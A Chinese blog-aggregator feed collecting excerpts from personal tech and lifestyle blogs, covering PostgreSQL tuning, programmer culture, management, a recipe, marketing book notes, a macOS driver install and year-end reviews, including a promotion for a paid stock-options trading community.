- 博客 Jiajun的编程随想 2024-03-05 08:00:00《PostgreSQL 配置优化和日志分析》## 性能PG默认的配置下，连接数和缓存等都不是很大，因此我们需要根据机器的情况来优化参数，这里我推荐一个工具 [pgtune](https://pgtune.leopard.in.ua/) ...
- 博客 太隐 2024-03-03 12:06:13信息是一种生产方式
- 博客 太隐 2024-03-03 12:05:02457
- 博客 Jiajun的编程随想 2024-03-03 08:00:00《有GitHub Copilot？那就可以搭建你的ChatGPT4服务》我有Github Copilot，也订阅了GPT Plus，GPT Plus 20刀每月，我看了一下其实我用的不是特别多。本着开猿节流，降本增笑的精神，我停止续订了GPT Plus，并且着手于找到 GPT Plus 的替代方案...
- 博客 二丫讲梵 2024-03-03 06:07:39如要阅读全文，点击标题跳转。微信剪藏与网页剪藏工具FlowUS,wolai,妙记多,新枝,Mindbox,收藏家,五彩,cubox,notion,印象笔记,有道云笔记,为知笔记,知了zKnown横评
- 博客 胡涂说 2024-03-02 10:35:00460
- 博客 Jiajun的编程随想 2024-03-01 08:00:00《窗口函数的使用(以PG为例)》很少做数据统计，之前一直没有接触和使用窗口函数。今天看了一下文档，发现在统计领域，窗口函数非常强大，当然，缺点就是把计算量移到了数据库这一层，但是没关系，对于少量数据，直接一条SQL解决，cool！...
- 博客 二丫讲梵 2024-03-01 07:05:47如要阅读全文，点击标题跳转。学习周刊-总第148期-一个开源数据库一体化监控平台
- 博客 胡涂说 2024-02-25 23:10:00463
- 博客 笨方法学写作 2024-02-25 08:00:00
我曾坐在书桌前，面前摊开着空白的卡片，写不下一个字。
我曾手指悬停在键盘上，面对空白文档，按不下任何一个键。
四周静悄悄的，只有时钟的滴答声在提醒我时间在流逝。我试图回想起那些曾经让我文思泉涌的时刻，但脑海中却像是被一层薄雾笼罩，什么也抓不住。
这种灵感枯竭的感觉，就是无论你怎么努力，创意的火花就是不肯闪现的无力感。
我知道，这不仅仅是我一个人的挣扎。
每个人在生活中都会有那么一刻，面对着空白的画布、未完成的项目或是待解决的问题，感到自己的创造力像是被抽空了一样。我们开始怀疑自己，是不是不够聪明，是不是不够努力，是不是根本就不具备那种所谓的“天赋”。
但我知道，灵感并不是凭空出现的。具身认知告诉我，身体即大脑。身体与环境交互，才能更好利用大脑，激发灵感。
灵感不能等待，它需要触发，需要去主动探索。
我需要必须去找寻陌生的地方，接触不熟悉的人。不一定要去进行长途旅行，哪怕在我生活的城市中，还有我从未涉足过的土地，只有当我独自面对，我的感知才能被重新激活。当我尝试某种从未有过的经历，我的感知才会被唤醒。
例如我曾经在菜市场随机选择一位买菜的大妈，观察她买菜的全过程。我看大妈如何挑菜，如何和菜贩交流，如何讲价的。
再如我会改变常规路线，探索新的回家方法。这让我看到平常不会注意到的街景和人物，有时我干脆会绕个路去公园坐坐，然后再找路回家。
我会独自走进那些从未涉足的街道，去感受那些陌生的风景。我会可以挑战自己，尝试那些从未做过的事情，去体验那些未知的领域。
在这个过程中，我会发现，那些曾经被我忽视的信息，那些看似无用的知识，它们开始在我的脑海中重新排列组合。那些曾经让我感到困惑的问题，那些曾经让我感到迷茫的方向，都在这一刻变得清晰起来。
这就是灵感的力量。它不需要刻意去寻找，它就在你的身边，等待着被唤醒。
而你所需要做的，就是给自己一个机会，去探索，去体验，去感受。当你的心灵被新的刺激所触动，当你的感官被新的体验所激活，那些潜藏在你内心深处的灵感，就会如同泉水般喷涌而出。
现在，我邀请你加入这场灵感的行动探索。
我根据我过去实践总结出100条灵感觉醒行动，它们是我在无数次探索和体验中积累的经验精华总结。
这些行动，或许会带你走进一个陌生的城市，或许会引导你尝试一项全新的技能，或许会激发你去思考一个从未涉及的话题。但无论它们将你引向何方，它们都将是你通往灵感世界的钥匙。
让我们一起打破常规，跳出舒适区，去迎接那些未知的挑战。让我们一起在生活的每一个角落，寻找那些被忽视的灵感。让我们一起在这场冒险中，发现那些未曾抵达的辽阔之地。
愿每日都有好灵感与你同在。
——
P.S. 我已经将这100条灵感灵感觉醒行动做成了飞书多维表格。
如果你是 flomo Pro 用户，3 分钟简单配置，就可以将这份清单轻松导入你的flomo 账户中，马上开启你的灵感觉醒行动。
《灵感觉醒100条》适合与《日课一问100条》搭配使用，效果更佳。
- 博客 程序员的喵 2024-02-25 05:58:03
今天看到这个推特，我理解作者的心情非常复杂，因为我前三年写过一段时间技术类的英文文章，也发现英文技术社区还有那种认真讨论的氛围，而在中文技术圈里，这种氛围已经几乎绝迹。
这几年因为我在外企和开源上的工作经历，接触了很多来自各个国家的程序员，今天想写写我发现的一些国内外程序员间的差异，我相信经常混迹开源社区的人会有些类似感受。
讲究细节
这点是我感受最深的，我自认为已经算是一个对细节比较在乎的人了，但我接触到一些国外的程序员，他们对细节的把握让人佩服。
最近的一个例子是我在写这篇英文文档 的时候遇到的，其中的 Reviewer jordanmack 对我文档里面的所有内容逐字逐句都过了一遍，发现不懂的地方一定要弄明白。这里面有的是中英文表达差异造成的理解偏差，也有他对这个功能的逻辑上的质疑，甚至可以细节到我在文中给出的 json 例子里的数字范围和自洽性。我们在 Github 上来回讨论了很久，然后继续在 Discord 上讨论，而在这个过程中我也确实发现了些代码上需要调整的地方，最后他给我的文章几乎全部润色了一遍。
jordanmack 不算是全职的程序员，但他也有一些程序员背景。在我做开源的经历中，PR 中被挑细节的时候太多了，一度我已经不再认为自己是个对细节很把握的人了。后来我总结了一下，有时候我是在赶时间，觉得某些 corner case 就暂且跳过吧，但大多会在代码 Review 中被提出来的。
然后经历多了也就看淡了，不光是我，任何人的 PR 都可能引发大量的讨论，比如到底是使用 µs 还是 us。也许在很多人看来这是个小问题，但却引起了大量的讨论，细看其中还有些引经据典和长篇大论。随便挑一个 RFC，也都可以看到大量的讨论。
所以我的感受是，国外程序员中在意细节的比例更大。那么问题是，他们为什么能看这么细？固然其中一个很重要的原因是他们确实有时间，才能静下心来看和写。
在国内公司我也碰到过对细节的把握，但很多用在了我最讨厌的形式主义上。在微软的时候，我见过各种不够漂亮的 PPT，有的时候翻来一段 onenote 就开始讲，因为都没人关注这些。
文字表达
文字表达能力是开源社区里一个非常重要的，因为但凡一个大的改动都需要和其他人广泛讨论和协作。
不少国外的程序员有文字表达的习惯，就是即使看很小的一点问题也会通过文字表达出来。这是很多国内程序员所没有的习惯，因为我们大多比较含蓄，认为多做比说强，说多容易错，说多容易暴露自己。
可能和教育和网络环境也有一定关系，如果不是刻意维持文字表达的习惯，很多人高中毕业后就没有写过几篇长文，对很多事情也没有自己的看法。
另外他们习惯使用 Email 来沟通，但中国开发人员大多习惯使用 IM 沟通。这两者还是有区别的，IM 沟通会让人不自觉地回复得更快，有的模糊想法随口就就表达了。而 Email 沟通更容易让人把事情写清楚，也更容易写得更长和有条理。
这种细微的差异长久了之后就可看出中英文技术社区的巨大差别。另外，中文网络的环境中戾气更重一些，人们对自我推销很反感，容易揣测你的意图。
个人目标
很多欧美大公司里有不少只做 Individual Contributor 而不做管理的人，在这些公司里，管理和技术是两条并行线，薪资和职级挂钩，也就是说纯 IC 的岗位可能收入比管理岗位更高，因为职级更高。
管理人员和技术人员大多是上下级关系，但下属对管理人员没有绝对的单向服从关系。当然大多数情况下，管理更容易升职上去，因为纯做技术岗位不容易通过杆杠来放大自己，管理就是一种很有效的杠杆。但这种纯粹的并行晋级路线是非常重要的，可以让技术人员有更多的选择权，甚至如果对自己的管理者不满意直接给差评和换组就是了。
所以在国外程序员中，如果一个人做了多年开发，很可能就是他确实喜欢做技术和更擅长做技术。而中国职场中，管理和技术岗的差别太大了，或者说绝大部分人到了一定年龄，如果你不混个管理的 title，好像就已经落后了，甚至没有职场安全感。
另外有些人是喜欢混到管理岗之后，纯粹为了获取更高的薪水，或者是为了把不喜欢做的事情推给别人。当然，这其中也有很大一部分中国文化里的官本位的影响，还有一部分原因是太看中钱了。
我接触过一些年龄在 40 岁多的国外程序员，他们还是对技术有很大热情。如果喜欢做技术，而又能通过做技术挣钱，这没有什么失败的，这与年龄没关系，反而这是一种很好的度过自己短暂一生的方式。
只是在国内要做到这点并不容易，很多岗位做的事情本来就不够有深度，时间更久也无法积累起来足够的壁垒，业务上的开发年轻人上手很快，而需要深入做下去的岗位不够，所以年龄大了就容易失业。
业余时间
国外程序员的业余时间真是非常多，如果你经常混 Github 就会发现，每当到了 12 月份就很多出来很多 aoc 字样的项目，这是他们在做Advent of Code 2023。
Advent of Code 就是整个 12 月份每天出一道题目，都是些编程谜题，有点类似 leetcode，但题目描述更长。你可以用任何语言来实现，反正要的结果就是答案。可以发现这些 aoc 项目基本都是欧美的程序员在做，因为他们大多在 12 月份有几乎一个月的假期，我在微软工作的时候，很多人也是 12 月份开始基本不见人影。
创造性的前提是不用为生存问题发愁，欧洲那些搞哲学、做研究的，大多都是家底丰厚，闲得多了自然就能搞事。如果有大把的业余时间，用来发展工作外的开源项目可就太好了。其实很多著名的开源项目只有吃饱饭没事做的时候才能搞出来，我之前在知乎问题 为什么中国程序员不如外国程序员有创造性 中写到：
荷兰人蟒蛇大叔想着哇塞圣诞假期这么长，找点事做，结果出了 Python。
日本人松本行弘，经济危机时闲得发慌，搞出了 Ruby。
芬兰人李纳斯，大三不用为了找工作背八股和考研，冬眠似地宅家里写代码，搞出了 Linux。在 Rust 社区中的贡献人员里，除了美国，第二多的是欧洲，他们也不是为了挣钱，完全就是感兴趣做做而已，我看到好几个大学年轻人做的事情已经非常深入了，当然其中花费的时间也是很多，他们几乎一直在线。
这些总结比较粗略，另外也可能有幸存者偏差因素。这个话题很大，深入下去探讨会包含很多方面。
我也不是在抱怨，年龄大了之后发现多看看历史相关的书还挺好，让自己更容易理解所处的环境为什么是这样的，比如《中国国民性演变史》这本书值得推荐。另外《美国种族简史》这本书也值得一看，多了解了解其他人的特点和长处，努力让自己不要局限于国界，另外做到程序员中的 80% 以上水平，保持英文能力。
- 博客 太隐 2024-02-23 20:56:49466
- 博客 oldj's blog 2024-02-23 20:52:00
工作多年，被人管过也管过人，有一个不算新颖但深有感触的心得，即管理者应该要尽量避免“微操”。
“微操”一词源自游戏，指玩家对游戏中的单位进行非常细微的操作，比如在即时战略游戏中，非常细致地控制每个士兵的行为。
对一些游戏来说，“微操”是褒义词，表明玩家的水平非常高，能发挥出各个单位最大的战斗力，这很好理解，因为游戏中的单位通常智能程度不高，同时总是能不折不扣地执行玩家的指令。但在现实世界中，“微操”则通常不是什么好事。
我曾有一段比较痛苦的工作经历，当时的上司就非常喜欢“微操”，细微到产品的每个设计细节都要管，比如每个按钮的位置和文案、每个输入框的样式以及每个操作的流程他都要发表意见。
他的能力确实很强，在业内小有名气，也有过几个成功的项目，因而十分自信强势，加上有着上司的身份，在团队内威信极高，对产品的各个细节都有着最终裁决权。
刚加入团队时，我非常有干劲，尽心尽力地投入产品的设计和开发，但一段时间后，我发现我提交的方案常常会被他改动很多地方，而有时一个看似很小的改动却可能意味着之前的大量工作需要推倒重来。
一开始我陷入了自我怀疑中，是不是我的能力真的太差了？不然为什么有这么多细节不符合上司的要求？我尝试努力总结上司的各个修改逻辑，但大部分修改我实在看不出有什么规律，对我来说，哪些地方会被打回似乎是完全随机的。
反复的细节修改以及确认，让我的工作量增加了很多，精神上也疲惫不堪。
终于有一天，在再一次无奈的修改之后，我决定摆烂了。由于无法预测哪些方案可能会被打回修改，我便尽可能地不做决定或者少做决定，每一个我觉得有被打回风险的设计都尽量先去问一问他。
摆烂之后，我果然轻松了不少，很少再遇到方案被打回或者需要大量修改的情况了，因为实际上我只是在做一些不太需要动脑子的执行工作，需要决策的部分都扔回给了上司。
但这显然不是正常的或健康的状态，一段时间后，上司发现自己越来越累，于是变得愤怒，开会时常常斥责我们没有达到他的期望。我也很愧疚，尝试再次担起责任，但当我再次深入方案设计然后继续遭遇大量细节被打回后，我彻底摆烂了，并且在不久之后离开了那个团队。
后来我回顾那段工作经历，逐渐意识到了其中令彼此痛苦的根源。那些被打回修改的细节设计，真的都有必要，或者都有对错之分吗？
不可否认，上司提出的一些意见确实更好，遇到这样的修改要求时，相信任何一位合格的员工都会接受，并且心悦诚服。但在那段工作经历中，从数量上来说这样的修改只占少数，更多的则只是一些纯粹的偏好性质的改动，比如一些文案的表述方式，几个元素是左对齐还是居中对齐，一些操作流程的顺序安排等等。在上司介入的阶段，我们的方案已经经过了反复的思考和讨论，通常来说已经没有明显的问题，但上司总是能提出很多修改意见，而在我们看来这些意见和原方案相比并没有明显的优劣或者绝对的对错，无论哪种选择都有其道理，但说到底，很多方案的差异其实只是口味或习惯的不同罢了，就像有人喜欢川菜，有人喜欢淮扬菜，因此在烹饪时流程和用料不一样，仅此而已，但只要在整体上保持风格一致，做出来的就不失为一道好菜。
每个人都有自己的偏好，除非他人的思维习惯和你完全相同，否则他的方案和你预想的方案多多少少总是会有差异。员工如果是新手，管理者手把手地指导自然没有问题，但这显然不应该成为常态，当员工成长起来，有足够的经验之后，作为管理者，我想只要大方向没有问题，细节上应该允许下属自由发挥。这也是所谓的“抓大放小”、“充分放权”。
况且很多时候，作为一线员工，在产品方案上他们了解的信息可能比管理者更多，很多方案可能已经是综合考虑体验和成本之后的结果，一个看似不起眼的“小”修改意见，可能会需要几个小时甚至几个人日的工作，而连着几个“小”意见，则可能意味着成本的飙升。
喜欢“微操”、坚持按自己的喜好指挥每一个细节的管理者，从本质上来讲，要么是对员工不信任，认为员工没有能力做好工作，要么则是沉迷于操纵一切的掌控感，不愿意放权。无论哪种情况，对团队来说都是有害的。
如果管理者真的认为某个设计或者细节很重要，必须严格执行，那么最好的方式是在一开始就清晰地向员工说明，而不是等到方案都已经基本完成时才不断提出各种“重要”修改意见。
如果员工自己的创意总是被管理者修改甚至否定，那么逐渐地，员工就会放弃主动，——既然自己没有决定的权力，那么就干脆做个不动脑筋的执行者吧。最终，员工不开心，没有足够的参与感和成就感，成长有限；管理者也不开心，觉得招了一帮废物，什么都要自己来决定，让自己都没有时间去做更重要的工作了，却没有意识到造成这一切的根源可能就是自己。
在团队中，管理者天然有着更大的权力，合格的管理者应该学会控制自己的欲望，合理地使用这个权力。很多时候，并不是管得越多越细就越好，作为管理者，在准备提出意见时应该先想一想，这是必要的吗？
- 博客 离别歌 2024-02-23 20:22:00
「代码审计」知识星球中@1ue 发表了一篇有趣的文章《探索Java反序列化绕WAF新姿势》，深入研究了一下其中的原理，我发现这是一个对我来说很“新”，但实际上年纪已经很大的Trick。
0x01 UTF-8编码原理
UTF-8是现在最流行的编码方式，它可以将unicode码表里的所有字符，用某种计算方式转换成长度是1到4位字节的字符。
参考这个表格，我们就可以很轻松地将unicode码转换成...
- 博客 二丫讲梵 2024-02-23 16:49:20如要阅读全文，点击标题跳转。学习周刊-总第147期-一个项目协作开源软件
- 博客 太隐 2024-02-22 20:35:50470
- 博客 扯氮集 2024-02-20 15:06:15读前提示：有些地方我其实没想太清楚，但确实又有些表达欲望。权当抛砖引玉吧，欢迎留言讨论/指正，启发启发我。 一 更多...
- 博客 唐巧的博客 2024-02-20 13:48:20
春节在家跟舅舅学做了滑肉汤，这个菜在我的老家四川广安市武胜县很火，是当地的特色美食。
其实四川有很多不辣的美食，滑肉汤就是其中一道，分享给大家。
一、食材准备
食材 重量 瘦肉 300g 红薯豆粉 100g 豌豆尖 200g 一些补充：
- 瘦肉可以用里脊肉或者别的偏瘦的肉，舅舅说最好用紧挨着排骨的那片瘦肉。
- 如果没有豌豆尖，也可以用丝瓜、豆芽代替。
二、烹饪步骤
第一步
把瘦肉切片，然后放入少量盐、胡椒、酱油调味。用手把肉片抓匀，让肉片与调料充分混合待用。
- 如果希望肉更嫩，也可以加入一个鸡蛋清。
- 如果肉比较瘦，也可以加入少量食用油。
第二步
把红薯豆粉放入一个较大的盆中，加入温水化开，比较好的状态是不太稀的“非牛顿流体”态。这个时候加入第一步的肉片抓匀，让肉片裹上豆粉。
- 也可考虑用开水化开，这样豆粉会更黏，不易糊锅，但是会比较难抓匀。
第三步
锅中加入适量水，放入姜片，猪油，少量盐和胡椒粉，待水烧开后关火。用手将肉片一片一片下锅，这样做主要是为了保证豆粉不化开糊汤。
第四步
重新开火，水开 1 分钟左右加入鸡精，然后放入豌豆尖约 30 秒后关火。
一锅滑肉汤就煮好了😊
- 博客 二丫讲梵 2024-02-20 07:54:50如要阅读全文，点击标题跳转。go的validate库使用required时的零值问题。vue-element-admin多级路由component配置的一个坑。
- 博客 forecho 的独立博客 2024-02-19 19:01:00
引言
去年中旬我开通了一个期权收费群，已经有很多小伙伴加入过了，详情可以看《轻松实现期权交易盈利》。
已经过去半年多了，我们的社区也发生了一些变化，我今天来介绍一下这个群的 2.0 版本，如果你对美股、期权感兴趣，欢迎加入。
变化
沟通方式
之前一直用微信群沟通，但是微信群功能太弱了，开盘期间我会分享一些信号，但是有时候群友需要沟通，沟通消息会淹没信号，很容易让会员错失信号。所以我们迁移到了 Slack，用了几个月下来，感觉很棒。
我曾经工作过的公司用过 Slack 办公，用过之前就真的回不去了，非常适合沟通，效率很高。我曾一直想用 Slack 建立社区，没想到这次居然成功了。
微信只适合闲聊。
会员等级
Slack 有频道的功能，每个频道都可以设置权限以及通知方式，这两个功能非常强大。我们根据此功能设置了会员等级，不同等级的会员可以看到不同的频道，这样可以更好的管理会员。
之前一直只有期权收费档次，但是有些会员可能对期权不感兴趣，所以我们增加了一个股票收费档次，这样可以更好的服务会员。当然股票会员等级，除了没有期权频道权限外，其他服务都是一样的，价格是期权会员等级的一半。
- 股票：新用户试用 100 人民币 2 周，正式是 50 美元/月。
- 期权：新用户试用 200 人民币 2 周，正式是 100 美元/月。
策略转变
之前经常带有群友根据我发现的异常期权信号赌财报，赌财报就想着翻几倍，赌输了就归零。但是半年过去了，我觉得这种方式不可持续性，现在我们推荐成员多做趋势交易，在重要事件（CPI/非农数据/财报）之前轻仓，少赌财报，多做趋势交易。
等财报出来之后跟着趋势做也可以赚到钱。
期权跟单
之前只有我一个人发期权异常信号单给大家跟单，最近我花重金买了一个期权跟单服务，多了一种选择，大家可以两个一起跟，赚钱机会更多了。
读书会
授人以鱼不如授人以渔，我们会定期组织读书会，一起读和讨论一些经典的投资书籍，大家一起进步。（目前还在起步阶段）
Crypto 服务
目前也在规划中的服务，BTC 去年的涨幅大家都是有目共睹的，现在没人质疑它的价值了吧？炒币比炒 A 股好多了。
总结
目前社区 2.0 的方式已经运行了有 1 个月多了，效果非常好，另外我们还在不断的完善中，如果你对美股、期权、股票、炒币感兴趣，欢迎加入我们的社区。我们也有免费版的会员等级。
同时也欢迎之前的老用户回归，我们会给老用户一些优惠。微信加我：
ipzone，备注：vip。更多
社区详情的介绍文档：《RichCalls Slack 社区开始文档》
- 博客 扯氮集 2024-02-19 15:08:13一 在1月24日一篇文章底下，有位读者如是留言： 信息世界的变化都依赖了硬件和网络能力的变革。 如果没有新的硬 更多...
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2024-02-19 03:20:33哪个小男孩没幻想过生活在这样一个充满宝可梦伙伴的世界，它们能听懂且愿意倾听我们说话，有着不同的特点和强大的技能，而且都很可爱，我们可以跟它们睡觉吃饭、并肩作战探索世界，永远不再孤独，不管是谁都可以找到最适合自己的宝可梦
- 博客 唐巧的博客 2024-02-17 21:56:03
小马宋创立了自己的战略咨询公司，为元气森林、得到 App 、极米投影仪等产品做过营销咨询服务。本书是他的营销总结。
读这些一线营销公司创始人的书，内容非常接地气，很多案例就发生在身边，所以感受会更加真实一些。
以下是一些笔记。
1、渠道和推广的差别
4P 理论中的渠道和推广容易被混淆。作者首先认为：4P 理论中，4 个 P 并不是完全独立的，比如价格的调整，很多时候就是一种推广活动。又比如产品的包装，其实也涵盖有推广的内容。
作者小马宋也对渠道和推广下了一个定义：
渠道是一套组织系统，构成元素是参与商品交易和交付的所有组织和个人。
推广说为了促进商品成交而做的所有决策和行动。
我的理解：对程序员来说，渠道像是面向对象的属性，推广像是对象拥有的方法。
2、腰带哥渠道创新的故事
小马宋讲了一个腰带产品渠道创新的故事：故事的主人公叫“腰带哥”，他敏锐的从裤子店里面发现了腰带生意的商机。
因为顾客在挑裤子的时候，会拿腰带来搭配一下，但当时的裤子店很少卖腰带。于是腰带哥就尝试批发了一批腰带，在几个裤子店测试，把腰带放在裤子店里面，不要货款，只要老板卖出一条腰带就给 15 元的提成。最后测试的结果是他发现一家店一天可以卖 10-20 条腰带。于是他成立了自己的腰带品牌，最高的时候一年做到了 5000 万的规模。
后来他的生意迅速下滑，主要因为：
同行发现了他的这个门道，用更多佣金和他抢生意
电商的发展侵蚀了线下店的流量
年轻人不喜欢穿腰带，市场规模萎缩
腰带哥的故事告诉我们，卖货的核心是找到能发生交易的地方，并且把你的货铺到那里去。
另外，自己挣的是产品创新钱还是渠道创新的钱，长期竞争壁垒在哪里，也是让我深思的地方。
3、推广需要让消费者产生记忆、购买和传播
一些同事在卖货的时候只考虑让消费者购买，为了达成目标就着重讲优惠讲赠品，这是不对的。
因为这样没有考虑到让消费者记忆和传播，这样的售卖方式对于品牌没有长期价值。我们花在渠道上的每一分钱都是要计算成本的，如果长期我们只能靠花钱来买流量，那么售卖风险是非常大的。哪一天渠道的流量费用上去了，或者渠道变化了，对我们都是巨大的灾难。
但是如果我们讲产品，让消费者记住我们的产品卖点，甚至还能够在某些情况下推荐我们，那么我们就拥有了一部分的品牌自然流量。这些流量会体现在消费者在电商网站的主动搜索行为上面，这才是长期的品牌价值。
4、品牌广告不是银弹
一些同事常常问：为什么我们不上电梯广告，不投品牌广告。我常常解释说：因为我们的收入规模不够，而品牌广告需要的基础密度要足够大，否则就没有效果。
在书中，小马宋进一步给我了启发：很多行业并不需要品牌广告。比如：餐饮很少有品牌广告，他们通常只在所在的购物中心放一些吊旗。律师事务所也很少打品牌广告，但是不影响我们知道事务所里面的头部公司。
正确的做法应该是：根据企业的具体情况来设计可行的推广方案。这个方案在早期应该重点看重对售卖的直接拉动。只有当你有了足够多的利润，这个利润你拿出一部分来，没效果也无所谓的时候，才可以拿来做一些偏长期的品牌广告。
5、消费者决策 POM 模型
小马宋总结了《绝对价值》一书中的消费者决策模型。这本书作者是斯坦福大学商学院市场营销学教授西蒙森。
在 POM 模型中，西蒙森把影响消费者决策的因素归结成三类：
消费者自己的喜好（personal）
品牌方的传播（marketing）
朋友，专家，KOL，评测机构等第三方（others）
小马宋把这个理论结合当下时代做了一些有价值的解读，比如：
电视时代因为广告效率高，所以品牌可以通过广告来影响消费者。但是现在很多品牌都不投电视广告了，因为现在广告渠道丰富了，电视广告成本太高，回报不足。
现代的营销需要做更辛苦的事情：要做种草，评测，笔记等方式，也要挑选有性价比的渠道，测算投放 ROI，把每一分钱花在刀刃上。
6、效果广告的问题
小马宋从品牌知名度解释了效果广告的问题。
品牌知名度有三个指标：
品牌再认率。类似于“有提示提及率”，就是用户看到这个品牌的时候，能想起来之前听说过这个品牌。
品牌再现率。当消费者产生某种需求的时候，能够想到这个品牌。
无提示第一提及率。当消费者被问到某个品类的时候，消费者提到的第一个品牌。
如果一个品牌只投效果广告，那么对于品牌知名度的影响是非常微弱的。因为没有知名度，那这个品牌是无法从用户需求场景激发出用户主动的行为，因为一个新用户根本不知道有这个品牌存在。
品牌广告的效果在于：虽然当下的效果不如精准的效果广告，但是扩大了知名度，未来的顾客在需要的时候可能就会想起你，才会搜索你并产生购买行为。
7、不是所有产品都需要投广告
一些产品的渠道和营销是绑定的，渠道即获客方式，这种情况就不需要另外投放广告。比如餐饮行业，路边的店面招牌就是广告。律师事务所也很少打广告。开在小区的小卖部也不需要打广告。
那什么产品需要投广告呢？应该根据企业的具体情况，设计可执行的营销获客方案。
如果是一家初创企业，看重快速的现金回报，就应该更多地投放效果广告。等企业慢慢壮大，可以拿一部分利润来做品牌广告，这样如果没有短时间内的效果也是可以承受的。
书中还有很多不错的观点和案例，推荐做市场营销的同行都看看。
以上。
- 博客 轶哥博客 2024-02-16 14:16:16<>RNDIS（Remote Network Driver Iterface Secificatio）驱动在MacOS Sooma中的安装，可以有效解决一些网络共享问题。这主要用于两个场景：
安卓手机有线共享网络 ：允许用户通过USB连接，将安卓设备的网络共享给MacOS设备。USB随身WiFi有线共享网络 ：实现通过USB连接的WiFi设备，为MacOS提供网络连接。常见的飞猫智联U8、高通410随身Wifi等几乎所有USB和TyeC接口的4G/5G随身WIFI都是RNDIS方式有线上网。
- 博客 二丫讲梵 2024-02-16 05:31:06如要阅读全文，点击标题跳转。学习周刊-总第146期-一个小型轻量级的监听docker容器日志的应用程序
- 博客 太隐 2024-02-15 16:04:02小世界，大问题
- 博客 太隐 2024-02-15 16:02:05481
- 博客 太隐 2024-02-15 16:01:51482
- 博客 太隐 2024-02-11 17:51:45483
- 博客 西秦公子 2024-02-11 10:55:21最近在处理 Linux 中国的静态站点，在技术选项上，为了方便修改，选择了 Hexo 来建设。 数据从 Dis […]
- 博客 forecho 的独立博客 2024-02-10 22:00:00
引言
今年初一，终于有时间写年终总结了，2023 年可能是我人生中最重要的一年，这一年我升级为爸爸了，而且我的职业也有了一些变化，虽然不知道接下来的路会怎样，但到目前为止，我还是很满意的。
回顾 2023
生活
7 月我的女儿出生了，从此之后我的生活发生了翻天覆地的变化，我开始学习如何照顾孩子，学习如何做父亲。在赚钱的同时，我还要兼顾家庭，但是时间有限，我必须学会如何分配自己的精力，寻找平衡。
这一年中比我更辛苦的是老婆，不管是生孩子还是后面带孩子，她投入了全部的精力，她真的是太辛苦了，我很感谢她。
老婆怀孕 8 个月之后还好有丈母娘过来帮忙，帮了我们 7 个月，真的是太感谢了。特别是宝宝刚出生的时候，我和老婆都不会照顾宝宝，她帮了我们很多。两个人带宝宝真的很累，特别是我们宝宝睡觉困难，哄睡太难了。
我们之前准备订月子中心的，但是中途发生了一件不愉快的事情，后来用了手段才成功拿回定金，现在回过头来，月子中的宝宝是最好带的，她只会吃和睡。越到后面越难带。
现在宝宝马上 7 个月了，我们也慢慢适应了，希望她能越来越乖巧，健康快乐成长。
健身
去年 10 月份会员卡到期了，我就没再去健身了，现在宝宝出生了，我更没有时间去健身了。我现在的身材真的是太差了，我希望明年能有时间去健身房。
学英语
自从宝宝出生之后也没时间学英语了，暂停了。我希望明年能有时间学英语。
工作
今年工作也发生了翻天覆地的变化，我的公司又「倒闭」了。去年做的项目，效果太差了，于是今年公司做了新项目，本想大干一场，结果中途又换了项目，最后项目也没做成，公司也没钱了，8 月份的工资到现在都没给，欠薪干到 11 月底，然后公司正式发通知宣布停工了（停工只发生活费），到现在我们还没拿到工资。
目前公司欠我们 5 个月工资和 1 个月的生活费。
这是我第三次遇到公司欠薪的事情了，打工人真的很难。这个公司已经干了 2 年多了。上一家公司是因为疫情倒闭了，最后拖了很久才发的工资，然后倒闭的裁员补偿到现在也没拿到。
现在又有了宝宝，在只有我们自己俩人带孩子的情况下，不太适合去找工作，所以我决定不上班了，之前不想上班我一直想做独立开发者赚钱，尝试之后发现太难了。但是今年慢慢地我发觉自己能靠美股赚钱，所以我决定转行了，我要做一名 Trader。
转行到 Trader 感觉是一种命中注定的事情，我从 2017 年开始接触美股，到现在已经快 7 年了，我一直在学习，我也一直在交易，我也一直在写美股相关的文章，以前一直没想过靠美股为生，就是玩玩，但是今年我感觉找到了适合自己的策略，而这个时候公司恰巧「倒闭」，而我恰好因为要照顾宝宝不能去上班，做美股 Trader 目前再适合不过了。
今年 ChatGPT 的诞生让我大为感叹，我是又开心又失落，开心的是我写代码更快了，ChatGPT + Github Copilot 真的是太香了，失落的是我觉得自己的核心竞争力又被削弱了，以后找工作可能会更难了。
技术
今年有机会接触了 WEB3、区块链技术，我写了一篇教程，但是因为粗心把自己的私钥上传到 Github 上了，为此我付出了 0.76 个以太坊的代价（详情见《我的 ETH 被盗了》），我也学到了很多东西，我也开始接触了 NFT，我也开始写与 NFT 相关的业务了。但是写合约真的是太难了。
合约学了一知半解，后面公司倒闭之后我就没再写了。不是特别感兴趣，少了当年学习新技术的热情。
旅游
无
读书
无，没多少时间看书，目前把《笑傲牛熊》快听完了。发现对于没时间看书的人来说，微信听书是个不错的选择。
理财
今年是坐过山车的一年，还好最后收益还行，更多请看 《2023 年年终总结投资篇》
败物
硬件：
- 27 寸的 LG 4k 显示器：1899 元
软件和服务：
- Github Copilot：99 美元/年
- SetApp 家庭版：260/年 (汇率变了，涨价了)
- ChatGPT PLUS：19.99 美元/月
博客
前半年一直保持稳定的更新频率，但是后面宝宝出生之后就没时间写博客了。
以前上班的时候还可以摸鱼抽空写写博客，自从没上班之后自己的时间都被宝宝占据了，没时间写博客了。
其他
今年年中的时候在群友的推荐下我创建了一个美股付费社区，自己赚钱的同时顺便带带他们。相关文章：
展望 2024
健身
希望能有时间去健身房，但是估计因为宝宝的原因，我还是没时间去健身房。
学英语
希望能有时间学英语，但是估计因为宝宝的原因，我还是没时间学英语。
旅游
无计划，等宝宝大一点再说。
工作
转行做美股 Trader，希望能赚更多得钱。
理财
希望能赚更多的钱，比上班赚的多。
业余折腾
无计划，等宝宝大一点再说。
读书
多听一些关于趋势交易的书，书单早就准备好了，就是进度太慢了。
博客
希望能恢复之前的更新频率。每个月至少更新 2 篇文章。
其他
有了宝宝之后对车的需求变大了，希望今年能买辆 Tesla Model Y。
最后
总结完了，希望 2024 年能更好，希望宝宝能健康快乐成长，希望我转行做美股 Trader 能成功，能赚更多的钱。
- 博客 二丫讲梵 2024-02-10 00:29:53如要阅读全文，点击标题跳转。学习周刊-总第145期-几个中间件管理后台项目
- 博客 唐巧的博客 2024-02-09 21:53:40
小马宋创立了自己的战略咨询公司，为元气森林、得到 App 、极米投影仪等产品做过营销咨询服务。本书是他的营销总结。
华与华的华杉在营销咨询行业开创了写书立说的方法，收获了大量的知名度，这也引来了同行的学习。
读这些一线营销公司创始人的书，内容非常接地气，很多案例就发生在身边，所以感受会更加真实一些。
以下是一些笔记。
